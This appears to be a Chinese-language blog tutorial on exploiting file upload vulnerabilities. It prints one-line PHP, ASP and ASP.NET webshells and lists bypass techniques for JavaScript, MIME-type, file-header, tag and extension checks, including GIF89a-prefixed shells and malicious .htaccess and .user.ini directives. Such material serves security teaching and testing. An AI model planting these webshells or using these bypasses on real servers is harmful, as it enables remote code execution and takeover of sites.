文件处理漏洞--文件上传

一、文件上传简介

1、什么是文件上传漏洞:

大部分站点都具有文件上传供能,例如头像,文章编辑,附件上传等等,文件上传漏洞就是利用文件上传功能前去上传可执行的脚本文件,并通过此脚本文件获得一定的服务器权限

2、什么是webshell

webshell就是一个网页,一般有asp,jsp,php,aspx,jspx等这类web应用程序开发语言,与正常网站不同的是,webshell一般会具有文件管理、端口管理、提权、获取系统信息等供能,具备这一类较完整功能的webshell,一般称为大马,供能建议的webshell称为一句话木马或小马

3、webshell-----一句话木马

<?php @eval($_POST[x]);>

  @:错误运算符,当@防止在一个php表达式前,该表达式可能产生的任何信息都被忽略

  eval()将字符串当作拍黄片代码去执行,例如eval('phpinfo();')其中phpinfo();会被当做php代码去执行

ASP

  <%eval request("x")%>

ASP.NET:

  <%@ Page Language="Jscript"%><%eval(Request.ltem["x"],"unsafe");%>

4、中国议剑:

  一款开源的跨平台网站管理工具,意识一款webshell管理工具,

二、文件上传利用

上传可执行脚本,通过可执行脚本获得一定的服务器权限

三、文件上传漏洞绕过

1、JavaScript验证绕过

  1)、直接发送请求包

    通过burp抓到正常上传的请求报文后,修改报文内容,在通过burp发送,便跳过了网页中的js验证

    

 

 

 

  2)、修改JavaScript

    修改其中关键的检测函数,或者直接通过noscript插件禁用JavaScript

2、服务器MIME类型绕过

  1、MIME类型时描述消息内容类型的因特网标准

  text        表明文件是普通文本,理论上是人类可读                                           text/plain, text/html, text/css, text/javascript
  image     表明是某种图像。不包括视频,但是动态图(比如动态gif)也使用image类型  image/gif, image/png, image/jpeg, image/bmp, image/webp, image/x-icon,image/vnd.microsoft.icon
  audio      表明是某种音频文件                                                                            audio/midi,audio/mpeg,audio/webm, audio/ogg, audio/wav
  video      表明是某种视频文件                                                                            video/webm, video/ogg
  application  表明是某种二进制数据                                                                         application/octet-stream, application/pkcs12, application/vnd.mspowerpoint,application/xhtmI+xml,application/xml, application/pdf

  2、服务端MIME类型验证绕过MIMIE验证常见绕过方式
    利用Burp抓包,将报文中的Content-Type改成允许的类型
    Content-Type: image/gif
    Content-Type: image/jpg
    Content-Type: image/png

3、服务器文件内容验证-文件头

  1、图片格式往往不是根据文件后缀名去做判断的,文件头是文件开头的一段二进制,不同的图片类型,文件头是不同的,文件头又称文件幻数

   2、文件头检查只针对文件头进行校验,可以在上传的木马前面加上图片的文件头及进行伪造绕过,GIF文件的文件头最好伪造,在木马前面直接加上GIF89a

      GIF89a<?php eval($ POST[1]);?>

3、服务器文件内容验证-php标签

      网站会对上传的内容及进行验证,一旦含有php的内容,便会判为非法文件,可以通过以下方法绕过

      当过滤php时:<?=phpinfo();?>,等同于<?php echo phpinfo();?>

        当过滤<?时可以使用<script language="php">phpinfo();</script>  限php5

4、服务器文件扩展名验证-黑名单

    后缀名大小写---PhP

    这些文件同样会被解析 php |php3|php5|php7| phtml| pht

5、服务器文件扩展名验证-双写绕过

    网站会针对后缀进行检测,只是将黑名单的内容替换成空字符

    例如php中可能使用str_replace()进行字符串替换

6、利用服务器特殊配置

    详情看强大的.access

    1)、如果在Apache中,htaccess的配置有效。且可被上传。那可以尝试在,htaccess中写入:      

      <FilesMatch "jpg">

        SetHandler application/x-httpd-php

      </FilesMatch>
      效果为文件名中含有jpg的文件会被解析成php

      
      AddType application/x-httpd-php .png
      效果为文件后缀为.png的文件会被解析成php。

 

      SetHandler applecation/x-httpd-php

      会将内容符合php语法规则的文件当作php文件解析

 

      AddHandler php5-script .php

      [1.php.jpg]中包含.php,并且.htaccess文件的内容如下,[1.php.jpg]中的代码就会被执行

 

    2)、.user.ini配置文件

      先上传.user.ini配置文件 文件内容 auto_prepend_file="shell.png"

      后上传shell.png文件,文件内容<?php @eval($_POST[x]);?>

      靶场看:

7、过滤']'时可以使用‘{}’代替

    <?= @eval($_POST{x});?>

 

posted @ 2024-05-09 09:25  wizard骑士  阅读(20)  评论(0编辑  收藏  举报